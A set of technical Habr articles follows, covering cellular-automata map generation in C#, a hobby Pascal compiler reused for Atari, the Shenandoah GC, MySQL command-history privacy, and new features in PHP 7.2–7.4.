map[x, y] = 1;
}
else
{
//Randomly generate the grid
map[x, y] = (rand.Next(0, 100) < fillPercent) ? 1 : 0;
}
}
}
return map;
}
```
В этой функции также можно задать, нужны ли нашей сетке стены. Во всём остальном она достаточно проста. Мы проверяем случайное число с процентом заполнения, чтобы определить, включена ли текущая ячейка. Взгляните на результат:
Окрестность Мура
----------------
[Окрестность Мура](https://en.wikipedia.org/wiki/Moore_neighborhood) используется для сглаживания исходной генерации клеточных автоматов. Окрестность Мура выглядит так:
К окрестности применяются следующие правила:
* Проверяем соседа в каждом из направлений.
* Если сосед — активный тайл, то добавляем к количеству окружающих тайлов единицу.
* Если сосед — неактивный тайл, то ничего не делаем.
* Если у ячейки есть больше 4 окружающих тайлов, то делаем ячейку активной.
* Если у ячейки ровно 4 окружающих тайлов, то ничего с ней не делаем.
* Повторяем, пока не проверим каждый тайл карты.
Проверяющая окрестность Мура функция выглядит следующим образом:
```
static int GetMooreSurroundingTiles(int[,] map, int x, int y, bool edgesAreWalls)
{
/* Moore Neighbourhood looks like this ('T' is our tile, 'N' is our neighbours)
*
* N N N
* N T N
* N N N
*
*/
int tileCount = 0;
for(int neighbourX = x - 1; neighbourX <= x + 1; neighbourX++)
{
for(int neighbourY = y - 1; neighbourY <= y + 1; neighbourY++)
{
if (neighbourX >= 0 && neighbourX < map.GetUpperBound(0) && neighbourY >= 0 && neighbourY < map.GetUpperBound(1))
{
//We don't want to count the tile we are checking the surroundings of
if(neighbourX != x || neighbourY != y)
{
tileCount += map[neighbourX, neighbourY];
}
}
}
}
return tileCount;
}
```
Проверив тайл, мы используем эту информацию в функции сглаживания. Здесь, как и при генерации клеточных автоматов, можно указать, должны ли края карты быть стенами.
```
public static int[,] SmoothMooreCellularAutomata(int[,] map, bool edgesAreWalls, int smoothCount)
{
for (int i = 0; i < smoothCount; i++)
{
for (int x = 0; x < map.GetUpperBound(0); x++)
{
for (int y = 0; y < map.GetUpperBound(1); y++)
{
int surroundingTiles = GetMooreSurroundingTiles(map, x, y, edgesAreWalls);
if (edgesAreWalls && (x == 0 || x == (map.GetUpperBound(0) - 1) || y == 0 || y == (map.GetUpperBound(1) - 1)))
{
//Set the edge to be a wall if we have edgesAreWalls to be true
map[x, y] = 1;
}
//The default moore rule requires more than 4 neighbours
else if (surroundingTiles > 4)
{
map[x, y] = 1;
}
else if (surroundingTiles < 4)
{
map[x, y] = 0;
}
}
}
}
//Return the modified map
return map;
}
```
Здесь важно заметить, что в функции есть цикл `for`, выполняющий сглаживание указанное количество раз. Благодаря этому получается более красивая карта.
Мы всегда можем модифицировать этот алгоритм, соединяя комнаты, если, например, между ними всего два блока.
Окрестность фон Неймана
-----------------------
[Окрестность фон Неймана](https://en.wikipedia.org/wiki/Von_Neumann_neighborhood) — ещё один популярный способ реализации клеточных автоматов. Для такой генерации мы используем более простую окрестность, чем в генерации Мура. Окрестность выглядит так:
К окрестности применяются следующие правила:
* Проверяем непосредственных соседей тайла, не учитывая диагональные.
* Если ячейка активна, прибавляем к количеству единицу.
* Если ячейка неактивна, то ничего не делаем.
* Если у ячейки больше 2 соседей, то делаем текущую ячейку активной.
* Если у ячейки меньше 2 соседей, то делаем текущую ячейку неактивной.
* Если соседей ровно 2, то не изменяем текущую ячейку.
Второй результат использует те же принципы, что и первый, но расширяет площадь окрестности.
Мы проверяем соседей при помощи следующей функции:
```
static int GetVNSurroundingTiles(int[,] map, int x, int y, bool edgesAreWalls)
{
/* von Neumann Neighbourhood looks like this ('T' is our Tile, 'N' is our Neighbour)
*
* N
* N T N
* N
*
*/
int tileCount = 0;
//Keep the edges as walls
if(edgesAreWalls && (x - 1 == 0 || x + 1 == map.GetUpperBound(0) || y - 1 == 0 || y + 1 == map.GetUpperBound(1)))
{
tileCount++;
}
//Ensure we aren't touching the left side of the map
if(x - 1 > 0)
{
tileCount += map[x - 1, y];
}
//Ensure we aren't touching the bottom of the map
if(y - 1 > 0)
{
tileCount += map[x, y - 1];
}
//Ensure we aren't touching the right side of the map
if(x + 1 < map.GetUpperBound(0))
{
tileCount += map[x + 1, y];
}
//Ensure we aren't touching the top of the map
if(y + 1 < map.GetUpperBound(1))
{
tileCount += map[x, y + 1];
}
return tileCount;
}
```
Получив количество соседей, можно перейти к сглаживанию массива. Как и раньше, нам нужен цикл `for` для выполнения переданного на вход количества итераций сглаживания.
```
public static int[,] SmoothVNCellularAutomata(int[,] map, bool edgesAreWalls, int smoothCount)
{
for (int i = 0; i < smoothCount; i++)
{
for (int x = 0; x < map.GetUpperBound(0); x++)
{
for (int y = 0; y < map.GetUpperBound(1); y++)
{
//Get the surrounding tiles
int surroundingTiles = GetVNSurroundingTiles(map, x, y, edgesAreWalls);
if (edgesAreWalls && (x == 0 || x == map.GetUpperBound(0) - 1 || y == 0 || y == map.GetUpperBound(1)))
{
//Keep our edges as walls
map[x, y] = 1;
}
//von Neuemann Neighbourhood requires only 3 or more surrounding tiles to be changed to a tile
else if (surroundingTiles > 2)
{
map[x, y] = 1;
}
else if (surroundingTiles < 2)
{
map[x, y] = 0;
}
}
}
}
//Return the modified map
return map;
}
```
Как видно ниже, конечный результат получается намного более блочным, чем у окрестности Мура:
Здесь, как и в окрестности Мура, можно запустить дополнительный скрипт для оптимизации соединений между частями карты.
Заключение
==========
Надеюсь, эта статья вдохновить вас использовать в своих проектах какие-нибудь разновидности процедурной генерации. Если вы ещё не скачали проект, то его можно взять [здесь](https://github.com/UnityTechnologies/ProceduralPatterns2D). | https://habr.com/ru/post/471084/ | null | ru | null |
# My Pascal compiler and Polish contemporary art
Origins
-------
Several years ago I wrote a Pascal compiler. The motivation was simple: as a teenager, I had learnt from my first programming textbooks that a compiler is a very sophisticated thing. This claim eventually became a challenge and required to be tested by experience.
*ha.art.pl*
First, a simplistic [PL/0](https://en.wikipedia.org/wiki/PL/0) compiler came into being, and later an almost fully-functional Pascal compiler for MS-DOS has grown from it. My source of inspiration was the [Compiler Construction](http://www.ethoberon.ethz.ch/WirthPubl/CBEAll.pdf) book by Niklaus Wirth, the inventor of the Pascal language. I don't care if Wirth's views are now considered obsolete and have no direct connections to the IT mainstream, or if the compiler design fashion has changed. It is enough to know that his techniques are still simple, elegant, and — last but not least — *bring much fun*, since it is more appealing to parse a program source with a handwritten recursive descent parser and generate the machine code, rather than to call [yaccs](https://en.wikipedia.org/wiki/Yacc), [bisons](https://en.wikipedia.org/wiki/GNU_Bison) and all their descendants.
My compiler's fate was not so trivial. It has lived two lives: the first one in my own hands, and the second in the hands of computer antiquarians from Poland.
XD Pascal
---------
My newborn compiler was named [XD Pascal](https://sourceforge.net/projects/xdpascal/). It supported all Pascal statements except `goto` and `with`. The former seemed to be difficult to implement, since it would destroy the perfectly hierarchical program structure. The latter could make the simple scope rules ambiguous.
All main data types were also supported. Beyond the scope were only the unsigned integers, sets, enumerations and variant records — but all these are obviously not the daily necessities. Nevertheless, I could not deny myself the pleasure of introducing floating-point numbers and the 8087 FPU arithmetic — that was the impact of my professional addiction to engineering computations.
When implementing procedures and functions, I was afraid that the recursion and the storage of local variables on the stack would be a big problem. However, a real, Pascal-specific difficulty was with the nested subroutines. One can have an innocent desire to access an outer subroutines's local variable from within the inner one. However, the inner subroutine does not have the stack frame address for the outer one, in other words, it does not know what origin to use with the variable offset. This address is to be passed to the inner subroutine as an additional hidden argument. I suppose that it was this difficulty that forced the designers of C to completely abandon the nesting of subroutines. But Pascal still has them, and this feature cannot be ignored.
The code generator created the simplest COM executables for real-mode MS-DOS. Machine instructions were generated directly, without any external assembler or linker. I used 32-bit registers for data, but the addressing remained 16-bit (a segment/offset pair).
The memory model was similar to the 'small' one (if someone still remembers this 16-bit era terminology): the code, data, and stack occupied one 64 kbyte segment each.
*Memory usage*
Generating EXEs and switching the segments on the fly seemed to be too hard, and the tight limitations of the 'small' model forced me to say goodbye to the self-compilation. Certainly I saw some self-compiling compilers whose code fit well within just one segment (e.g., [Context](http://www.avhohlov.narod.ru/p9800en.htm)). However, they rarely could do anything useful besides this ability to compile themselves. Instead, I wished to make my compiler suitable for numerical computations and graphics. That's why I included, among other examples, the fractals, the Gauss method for solving linear equations, the fast Fourier transform, and even the Kalman filter for estimating the inertial navigation system errors.
*Mandelbrot set fragment*
*Fast Fourier transform*
*Inertial navigation system error estimation*
What I eventually got was very similar to the ancient Turbo Pascal 3.0 (without OOP) and the amateur [BeRo Tiny Pascal](https://github.com/BeRo1985/berotinypascal). The author of the latter has managed to self-compile it under Windows, but sacrificed floating-point arithmetic and many subtleties of the grammar, which I wished to preserve. Among more modern features, my XD Pascal got the Delphi-style single-line comments (`//`) and the `Result` variable.
Nevertheless, since its birth, my compiler was marked for death. Pascal was irreversibly going out of fashion, and MS-DOS had become archaic long before. On a day when I switched from a 32-bit Windows XP to a 64-bit Windows 7 with no DOS virtual machine, I considered my project dead.
Revival
-------
Then something strange has happened. After three years of oblivion, a team of Polish retrocomputing enthusiasts and Atari fans has found my compiler. It seems that they didn't care much about abstract problems like self-compilation or grammar strictness. They simply needed a convenient programming tool for their favorite machine. Using my project, they constructed their own [Mad Pascal](http://mads.atari8.info/) compiler for the 6502 architecture. The language grammar was expanded, the support was added for separate units with the interface and implementation sections, the `goto` statement, unsigned integers, sets and enumerations, inline assembly code. Instead of the machine code, the assembly code was generated. It was then translated by a homebrew assembler.
The external appearance of the language became significantly closer to the de-facto standard Pascal. The compiler internals look somewhat horrific, the reserved words are mixed with the names of standard subroutines, but this doesn't disturb the developers. Whatever it looks like, the endeavor is surprisingly viable: for three years Mad Pascal has been regularly updated, many games are written in it, the authors annually attend the [Silly Venture](http://www.sillyventure.eu/pl/) retrocomputing conference (the link may require VPN). It seems that Atari traditions are very strong in Poland.
An event noticeable for the Polish fans of Atari happened in Spring 2018: the book [*Robbo. Solucja*](http://www.ha.art.pl/wydawnictwo/nowe-ksiazki/5330-robbo-solucja.html) (*Robbo. Walkthrough*), an example of experimental literature, was published. I need to emphasize here that the [*Robbo*](https://en.wikipedia.org/wiki/Robbo_(video_game)) game for Atari, which was published 30 years ago, still excites the older Polish fans and fills them with a kind of patriotic delight. Generally speaking, it is not surprising that there appeared a book inspired by the game. But the funny fact is that 60 percent of the book, as the authors say, is the walkthrough tutorial generated by the Atari computer itself. The text generation program is written in Mad Pascal.
*graczpospolita.pl*
It looks like [some people](http://retroage.net/recenzje-prasyksiazek/robbo-solucja) consider the book as a great example of contemporary art:
> It would be misleading to treat this book just as a collector's item for *Robbo* fans, or, more generally, Atari fans. We deal with a rare example of the interaction between the video game culture and literature (in this case, electronic literature), where the starting point is the 'game', not 'literature'. For some, it is meaningless 'art for art's sake'. For others, such a crossover offers absolutely new opportunities and experience. Nothing prevents you from creating a version of *Robbo* that you can finish using the 'walkthrough' from the book. The book fits well with my view of the video games as art. Art, in which the player can be both the recipient and the creator — if during the 'game' there is an 'audience' watching the player creating his own 'game' history. The content of the book can be adapted to a performance show with an actor playing *Robbo* using the elements of the 'walkthrough' from the book. In order not to remain groundless: the performance based on *Robbo. Solucja* took place on May 11, 2018 in the *Bunker* contemporary art gallery in Krakow, during the presentation of the book accompanying the *Inexhaustibility* exhibition.
A performance show in Krakow. It is worth having written a compiler. | https://habr.com/ru/post/440372/ | null | en | null |
# Дюк, вынеси мусор! — 6. Shenandoah GC
Несмотря на то, что мы уже успели достаточно подробно рассмотреть целых шесть сборщиков мусора ([Serial](https://habr.com/ru/post/269707/#serial_gc), [Parallel](https://habr.com/ru/post/269707/#parallel_gc), [CMS](https://habr.com/ru/post/269863/#cms_gc), [G1](https://habr.com/ru/post/269863/#G1), [ZGC](https://habr.com/ru/post/680038/), [Epsilon](https://habr.com/ru/post/681116/)), у OpenJDK еще есть, что нам предложить. Эта статья посвящена Shenandoah, тому самому сборщику, "который смог" (с таким слоганом он обычно подается).
Действительно ли он сможет в вашем конкретном случае, и если сможет, то насколько хорошо, определить предстоит только вам самим, опытным путем. А вот как и за счет чего он будет пытаться смочь, давайте сегодня будем разбираться, там есть на что посмотреть.
---
Shenandoah GC позиционируется как сборщик, который стремится поддерживать короткие паузы даже на кучах большого объема, за счет выполнения как можно большего количества работы по сборке мусора в конкурентном режиме, то есть одновременно с работой основных потоков приложения.
Похожие цели ставились при разработке [ZGC](https://habr.com/ru/post/680038/) и у этих сборщиков есть схожие черты, их часто сравнивают друг с другом на реальных приложениях. Мы попробуем разобраться, в чем совпадают, а в чем отличаются подходы этих сборщиков к управлению памятью в Java-приложениях.
Shenandoah входит в состав OpenJDK начиная с 12-й версии, но существуют различные дистрибутивы, включающие порты этого сборщика в версии JDK 11 (Amazon, Azul, Adoptium, Debian и др.) или даже в JDK 8 (Red Hat).
Использование Shenandoah включается опцией `-XX:+UseShenandoahGC`.
Указатели перенаправления Брукса
--------------------------------
Как мы знаем, при размещении объекта в памяти JVM добавляет к нему заголовок, в котором хранятся метаданные, используемые при блокировках, хэшировании, работе других сборщиков (Mark Word), а также указатель на класс этого объекта (Class Pointer).
В случае использования Shenandoah накладные расходы на хранение каждого объекта немного увеличиваются и перед упомянутым заголовком добавляется еще так называемый *указатель перенаправления* (*indirection pointer*). По сути, это указатель на базовый Java-объект, но при наличии копии этого объекта (появившейся в результате перемещения при сборке мусора) он указывает на целевую версию этого объекта:
Устройство указателей перенаправленияЭто значит, что при обращении к объекту по указателю в некоторых случаях необходимо совершить дополнительный переход в новое место его размещения.
Что такого особенного в этих указателях и кто такой Брукс, спросите вы?
В самих указателях ничего особенного нет, но есть нюансы работы с этими указателями в ситуациях, когда перемещение объектов на новое место осуществляется при работающей программе, которая в это же время может эти объекты читать и даже изменять.
Родни Брукс (Rodney A. Brooks) как раз описал в одной из своих работ по реалтаймным сборщикам мусора правила работы с такими указателями, позволяющие не поломать работу программы и при этом по возможности не сильно ее замедлить. В Shenandoah используются очень похожие подходы.
Организация кучи
----------------
Shenandoah организует кучу, разбивая ее на большое количество регионов равных размеров. В каждый момент времени регион может:
* размещать живые объекты и не подлежать очистке,
* размещать живые объекты и подлежать очистке,
* быть забронированным под перемещение живых объектов из очищаемых регионов,
* не использоваться.
Для *громадных объектов* (*humongous objects*), не помещающихся в один регион, как обычно, выделяется необходимое количество регионов и к ним больше никто не подселяется.
Это очень похоже на то, что мы видели в ZGC, просто используется другая терминология.
Поиск живых объектов
--------------------
Для рассмотрения процесса работы Shenandoah будет удобно взять тот же пример, который использовался при описании ZGC. Это позволит наглядно увидеть разницу в работе этих двух сборщиков.
Начинаем мы с такого состояния кучи:
Начальное состояние кучи#### Фаза Init Mark
Первая фаза, как обычно, посвящена поиску объектов, достижимых из корней, и выполняется в рамках паузы STW. После ее завершения имеем следующую картину:
После обнаружения объектов, достижимых из корней#### Фаза Concurrent Marking
Эта фаза происходит в конкурентном режиме, при работающих основных потоках приложения. В рамках нее производится обход всей кучи, начиная с найденных на предыдущем шаге объектов, и сбор информации об остальных достижимых объектах.
И как это обычно бывает в конкурентных фазах, мы сталкиваемся с тем, что приложение продолжает создавать новые объекты одновременно с процессом сборки мусора. Чтобы в таких условиях ничего не потерять, во время этой фазы используются [функции-барьеры](https://habr.com/ru/post/680038/#barriers). В данном случае барьеры отслеживают изменения ссылок из одних объектов на другие, и запоминают "предыдущие" указатели в специальные коллекции. Это позволяет реализовывать режим s" type="abbr">SATB (вспоминаем из предыдущих статей, что этот режим означает возможность наличия плавающего мусора).
#### Фаза Final Mark
Как и Init Mark, эта фаза выполняется в рамках паузы STW. Она нужна для того, чтобы разобраться с появившимися новыми корнями, с коллекциями "предыдущих" указателей, со специальными кейсами вроде soft- и weak-references. После этого мы знаем про все достижимые объекты:
После обнаружения всех живых объектовНо фаза на этом не завершается. В рамках нее производятся подготовительные работы к переносу объектов и высвобождению памяти.
В первую очередь выбираются регионы, которые будут очищаться в рамках данного цикла сборки. Для выбора Shenandoah использует различные эвристики, основываясь на информации о количестве мусора в разных регионах, о скорости расходования памяти приложением, о времени предыдущих сборок и прочих метриках.
Выбраны регионы для очисткиДалее, в рамках этой же паузы производится перемещение достижимых из корней объектов в новые целевые регионы.
При перемещении изменяются указатели перенаправления у объектов на их старом месте. Мы будем обозначать такие указатели зелеными пунктирными стрелками:
После перемещения объектов, достижимых из корнейПеремещение
-----------
#### Фаза Concurrent Evacuation
В рамках данной конкурентной фазы происходит перенос оставшихся живых объектов из очищаемых регионов в целевые регионы.
Может оказаться, что к началу этой фазы в каких-то из очищаемых регионов вообще не осталось живых объектов. Такие регионы сразу же высвобождаются.
Из остальных очищаемых регионов живые объекты переносятся в целевые регионы с одновременным обновлением указателей перенаправления на них. При этом в рамках данной фазы активно используются барьеры. В Shenandoah на этой фазе они работают следующим образом:
* Если какой-либо поток хочет прочитать данные объекта, находящегося в высвобождаемой зоне, он может это сделать даже если объект к этому времени еще не перенесен, никаких дополнительных действий не требуется (это, например, отличает его от ZGC).
* Если какой-либо поток хочет поменять данные в объекте, находящемся в высвобождаемой зоне, он сначала должен самостоятельно перенести его на новое место, и только после этого производить изменения.
Следует иметь в виду, что существуют неявные изменения объектов, при которых барьер работает по второму сценарию. Например, наложение блокировки на объект означает изменение данных в Mark Word, а значит расценивается как модификация объекта.
Еще одним отличием от ZGC является то, что на данной фазе не меняются указатели на переносимые объекты. В результате по ее завершении куча выглядит следующим образом:
После перемещения живых объектов#### Фаза Init Update Refs
Эта фаза представляет собой очень короткую STW-паузу, которая нужна для синхронизации потоков GC и подготовки к следующей фазе.
#### Фаза Concurrent Update Refs
На данной конкурентной фазе производится модификация указателей на живые объекты, перенесенные в целевые области.
После обновления указателей#### Фаза Final Update Refs
Это еще одна, последняя в рамках одного цикла сборки, пауза STW. В ней, по аналогии с Final Mark, подчищаются хвосты в части обновления указателей на объекты, главным образом из новых корней.
И после того, как очищенные регионы возвращаются в список свободных, получаем итоговую картину:
Результат сборки мусораFailure Mode
------------
Всё это работает отлично в условиях, когда у сборщика достаточно ресурсов и он поспевает за приложением, вовремя высвобождая память под новые объекты. Но на случай, когда он вдруг перестает справляться (Failure Mode), у Shenandoah есть план Б.
В первую очередь он задействует механизм Pacing — начинает чуть-чуть притормаживать самые активные в части аллоцирования памяти потоки приложения, чтобы они создавали новые объекты не так быстро.
Такой подход позволяет справляться с кратковременными пиками в потреблении памяти, но при сильной нагрузке очень долго на нем не продержишься.
Когда Pacing'а недостаточно, в дело вступает механизм Degenerated GC, в котором конкурентые фазы сборки на время перестают быть конкурентными и начинают выполняться в рамках паузы STW. Зачастую включение такого режима попадает на уже запущенный цикл сборки и тогда пауза распространяется только на его оставшуюся часть. Здесь нужно иметь в виду, что сборка в рамках STW выполняется быстрее, чем в конкурентном режиме, поэтому новые паузы на практике не такие большие, как может показаться на первый взгляд.
Ну и если даже перевод конкурентной сборки в STW не помог, задействуется старый добрый Full GC, то есть работа приложения останавливается и производится полная сборка мусора.
Настройка
---------
Shenandoah поддерживает несколько режимов работы при поиске достижимых объектов. Эти режимы можно менять с помощью опции `-XX:ShenandoahGCMode=mode`. Подробно рассматривать ее мы не будем, так как из поддерживаемых режимов только используемый по умолчанию satb (упомянут выше при описании фазы Concurrent Marking) является не экспериментальным и не предназначенным для диагностики самого сборщика.
В описании фазы Final Mark сказано, что при выборе набора регионов, подлежащих очистке, Shenandoah оперирует различными эвристиками. Его поведение в этой части можно переопределять с помощью опции `-XX:ShenandoahGCHeuristics=name`, выбрав одно из:
* **adaptive** (по умолчанию) — использует статистику предыдущих сборок, запуская очередной цикл заранее, чтобы куча не исчерпалась. В этом режиме поддерживаются дополнительные опции `-XX:ShenandoahInitFreeThreshold=threshold`, `-XX:ShenandoahMinFreeThreshold=threshold`, `-XX:ShenandoahAllocSpikeFactor=factor` и `-XX:ShenandoahGarbageThreshold=threshold`, позволяющие регулировать реакции сборщика на различные метрики.
* **static** — определяет время запуска очередного цикла сборки, опираясь на процент заполненности кучи. В этом режиме используются дополнительные опции `-XX:ShenandoahMinFreeThreshold=threshold` и `-XX:ShenandoahGarbageThreshold=threshold`.
* **compact** — заставляет Shenandoah собирать мусор непрерывно, то есть новый цикл запускается сразу же по окончании предыдущего. В этом режиме может иметь смысл воспользоваться опцией `-XX:ConcGCThreads=count` для ограничения количества потоков GC. Кроме того, можно немного притормозить сборщик с помощью опции `-XX:ShenandoahAllocationThreshold=threshold`, чтобы он все таки дожидался заданного с ее помощью процента аллокации с момента предыдущей сборки перед запуском новой.
* **aggressive** — нужен только для целей отладки самого сборщика, так как выполняет сборку непрерывно и при этом удаляет даже живые объекты. То есть использовать его в реальных приложениях не очень разумно.
С помощью опции `-XX:+ShenandoahPacing` можно включать или выключать использование Pacing'а, а с помощью опции `-XX:ShenandoahPacingMaxDelay=delay` (в мсек) можно ограничивать привносимые им задержки.
С помощью опции `-XX:+ShenandoahDegeneratedGC` можно включать или выключать использования механизма DegeneratedGC.
Заключение
----------
В итоге Shenandoah — еще один сборщик, достаточно активно разменивающий доступные приложению ресурсы на короткие паузы. Делает он это изобретательно и, судя по практике применения, достаточно эффективно.
Наличие стратегии плавной деградации перед сваливанием в Full GC является приятным дополнением.
Shenandoah предлагает множество настроек под специфику работы приложения, в том числе возможность выбора из преднастроенных режимов, не заставляющих погружаться совсем уж в мелкие детали алгоритмов его работы.
Платой за это, естественно, является повышенное потребление ресурсов и уменьшение общей пропускной способности приложения. Поэтому сборщик больше подойдет в тех случаях, когда приоритетом является маленькое время отклика.
И, как обычно, ответ на вопрос "использовать или не использовать Shenandoah?" может быть получен только вами после тестирования вашего приложения с этим сборщиком.
*Ранее:*
[← Часть 5 — Сборщик Epsilon GC](https://habr.com/ru/post/681116/)
[← Часть 4 — Сборщик ZGC](https://habr.com/ru/post/680038/)
[← Часть 3 — Сборщики CMS и G1](https://habr.com/ru/post/269863/)
[← Часть 2 — Сборщики Serial GC и Parallel GC](http://habrahabr.ru/post/269707/)
[← Часть 1 — Введение](http://habrahabr.ru/post/269621/) | https://habr.com/ru/post/681256/ | null | ru | null |
# ~/mysql_history и безопасность
Как правило, безопасность обратно пропорциональна удобству. Сохранять историю команд, по которой можно перемещаться в CLI, — очень удобно. Так делает, например, bash. Так делает и MySQL, бережно и построчно записывая команды в ~/.mysql\_history в виде простого текста (включая пароли).
Снизить риск или полностью избежать утечки можно, если (от более допустимых, на мой взгляд, способов к менее допустимым):
* домашняя директория пользователя имеет режим доступа 700;
* файл ~/.mysql\_history имеет режим доступа 600;
* вызывать сценарий, который чистит файл ~/.mysql\_history от «лишних» записей;
* «вручную» чистить файл ~/.mysql\_history от «лишних» записей;
* удалить файл ~/.mysql\_history (этот вариант [предлагает](http://www.securityfocus.com/infocus/1726) SecurityFocus);
* ~/.mysql\_history является символической ссылкой на /dev/null (история не ведется).
С точки зрения СУБД это не является проблемой безопасности, так как в истории запросов может быть куда более ценная информация, нежели пароли (платежная информация, например), поэтому разработчики не позаботись о подобных исключениях на уровне журналирования истории команд.
Собственно зачем затронута эта тема. Какие есть еще варианты?
*Bonus track*. Затрагивая вопрос о безопасности MySQL, хочу отметить, что часто наблюдаю данные учетной записи root в сценариях резервного копирования, использующих mysqldump. Очень распространенная ошибка, а ведь не так уж и сложно создать специального пользователя для выгрузки баз парой команд:
> `GRANT SELECT, LOCK TABLES ON .* TO @localhost IDENTIFIED BY '';
>
> FLUSH PRIVILEGES;` | https://habr.com/ru/post/76936/ | null | ru | null |
# Эволюция PHP — от 5.6 до 8.0 (Часть 2)
***Перевод статьи подготовлен в преддверии старта курса***[***«Backend-разработчик на PHP»***](https://otus.pw/mGPb/)
[*(Читать первую часть)*](https://habr.com/ru/company/otus/blog/524270/)
---
PHP 7.2
-------
[**Расширение типа параметра**](https://wiki.php.net/rfc/parameter-no-type-variance)
```
php
class ArrayClass {
public function foo(array $foo) { /* … / }
}
// Этот RFC предлагает разрешить расширение типа до нетипизированного, т.е. в качестве параметра может быть передан любой тип.
// Любые ограничения типа могут быть отработаны с помощью пользовательского кода в теле метода.
class EverythingClass extends ArrayClass {
public function foo($foo) { / … / }
}</code
```
[**Подсчет неисчислимых объектов**](https://wiki.php.net/rfc/counting_non_countables)
Вызов функции `count()` для скаляра или объекта, который не реализует интерфейс [Countable](http://php.net/manual/%20en%20/%20class.countable.php) возвращает 1 (что нелогично).
В этой версии добавлено предупреждение при вызове `count()` с параметром, который является скаляром, null или объектом, который не реализует *Countable*.
[**Завершающие запятые в групповом use синтаксисе**](https://wiki.php.net/rfc/list-syntax-trailing-commas)
```
use Foo\Bar{ Foo, Bar, Baz, };
```
[**Хеширование пароля с помощью Argon2**](https://wiki.php.net/rfc/argon2_password_hash)
Существующие функции `password_*` обеспечивают упрощенный интерфейс с прямой совместимостью для хеширования паролей. Этот RFC предлагает для использования в функциях `password_*` реализацию Argon2i (v1.3) в качестве безопасной альтернативы.
[**Отладка эмуляции подготовленного запроса PDO**](https://wiki.php.net/rfc/debugging_pdo_prepared_statement_emulation)
```
$db = new PDO(…);
// работает с запросами без связанных значений
$stmt = $db->query('SELECT 1');
var_dump($stmt->activeQueryString()); // => string(8) "SELECT 1"
$stmt = $db->prepare('SELECT :string');
$stmt->bindValue(':string', 'foo');
// возвращает не распаршенный запрос до выполнения
var_dump($stmt->activeQueryString()); // => string(14) "SELECT :string"
// возвращает распаршенный запрос после выполнения
$stmt->execute();
var_dump($stmt->activeQueryString()); // => string(11) "SELECT 'foo'"
```
PHP 7.3
-------
[**JSON\_**THROW**\_**ON**\_**ERROR](https://wiki.php.net/rfc/json_throw_on_error)
Отсутствие адекватного способа обработки ошибок при использовании JSON было проблемой довольно долгое время, и веб-разработчики во всем мире рассматривали это как огромный недостаток языка.
До PHP v7.2 нам нужно было использовать обходное решение, чтобы получать ошибки из JSON, и оно не отличалось ни надежностью, ни изяществом в своей работе;
Вот пример:
```
json_decode("{");
json_lasterror() === JSONERRORNONE // результат false
json_lasterrormsg() // результат "Syntax error"
```
Итак, давайте же посмотрим, как мы можем использовать этот новый синтаксический сахар:
```
use Json_Exception;
try {
$json = json_encode("{", JSON_THROW_ON_ERROR);
return base64_encode($json);
} catch (JsonException $e) {
throw new EncryptException('Could not encrypt the data.', 0, $e);
}
```
Как видно из предыдущего кода, функция `json_encode`теперь имеет необязательный параметр`JSON_THROW_ON_ERROR` - **с ним она перехватит ошибку и отобразит ее с помощью следующих методов исключений**:
`$e->getMessage(); // как json_lasterrormsg()`
`$e->getCode(); // как json_lasterror()`
[***Добавлена функция is\_countable***](https://wiki.php.net/rfc/is-countable)
```
// До:
if (is_array($foo) || $foo instanceof Countable) {
// $foo является countable
}
// После
if (is_countable($foo)) {
// $foo является countable
}
```
**Добавлены функции массива** [**array\_*key\_*first(), array\_*key\_*last()**](https://wiki.php.net/rfc/array_key_first_last)
```
$firstKey = array_key_first($array);
$lastKey = array_key_last($array);
```
[**Добавлена встроенная поддержка “samesite” cookie**](https://wiki.php.net/rfc/same-site-cookie)
Теперь есть две опции для cookie, использующего флаг samesite: «Lax» (нестрогий) и «Strict» (строгий). Разница между Lax и Strict заключается в доступности файла cookie в запросах, исходящих из другого регистрируемого домена с использованием метода HTTP GET. Файлы cookie, использующие Lax, будут доступны по **GET**, исходящему из другого регистрируемого домена, тогда как файлы cookie, использующие Strict, не будут доступны в GET запросе. Для POST методов разницы нет: браузер не должен разрешать доступ к cookie в POST запросе, исходящем из другого регистрируемого домена.
`Set-Cookie: key=value; path=/; domain=example.org; HttpOnly; SameSite=Lax|Strict`
[**Обновление PCRE до PCRE2**](https://wiki.php.net/rfc/pcre2-migration)
[**Улучшение хеширования паролей с помощью Argon2**](https://wiki.php.net/rfc/argon2_password_hash_enhancements)
Существующие `password_*` функции обеспечивают упрощенный интерфейс с прямой совместимостью для хеширования паролей. Этот RFC предлагает для использования в `password_*` функциях реализацию `Argon2id` в качестве безопасной альтернативы первоначально предложенному `Argon2i`.
[**Завершающая запятая в вызовах функций**](https://wiki.php.net/rfc/trailing-comma-function-calls)
```
$newArray = array_merge(
$arrayOne,
$arrayTwo,
['foo', 'bar'],// в вызовах функций можно использовать запятую
);
```
[**Присвоение по ссылкам в list()**](https://wiki.php.net/rfc/list_reference_assignment)
```
$array = [1, 2];
list($a, &$b) = $array;
```
Это эквивалентно следующему:
```
$array = [1, 2];
$a = $array[0];
$b =& $array[1];
```
[**Устарели не чувствительные к регистру константы**](https://wiki.php.net/rfc/case_insensitive_constant_deprecation)
PHP 7.4
-------
[**Типизированные свойства**](https://wiki.php.net/rfc/typed_properties_v2)
```
class User {
public int $id;
public string $name;
public function __construct(int $id, string $name) {
$this->id = $id;
$this->name = $name;
}
}
```
[**FFI (Foreign Function Interface)**](https://wiki.php.net/rfc/ffi)
FFI - одна из фич, которые сделали *Python* и *LuaJIT* очень полезными для быстрого прототипирования. Он позволяет вызывать функции C и использовать типы данных C из чисто скриптового языка и, следовательно, более продуктивно разрабатывать «системный код». Для PHP FFI открывает способ писать расширения PHP и биндинги к библиотекам C на чистом PHP.
[**Присваивающий оператор объединения с Null**](https://wiki.php.net/rfc/null_coalesce_equal_operator)
```
// Следующие строчки делают одно и то же
$this->request->data['comments']['userid'] = $this->request->data['comments']['userid'] ?? 'value';
// Вместо повторения переменных с длинными именами используется присваивающий оператор объединения
$this->request->data['comments']['user_id'] ??= 'value';
```
[**Предварительная загрузка**](https://wiki.php.net/rfc/preload)
PHP использует кеши опкодов уже много лет (APC, Turck MMCache, Zend OpCache). Они дают значительный прирост производительности, **ПОЧТИ** полностью устраняя накладные расходы на перекомпиляцию PHP кода. Предварительная загрузка будет контролироваться только одной новой директивой php.ini - **opcache.preload**. Используя эту директиву, мы определяем PHP файл, который возьмет на себя задачу предварительной загрузки. После загрузки этот файл полностью выполняется - и может предварительно загружать другие файлы, инклюдя их или используя *функцию* `opcache_compile_file()` .
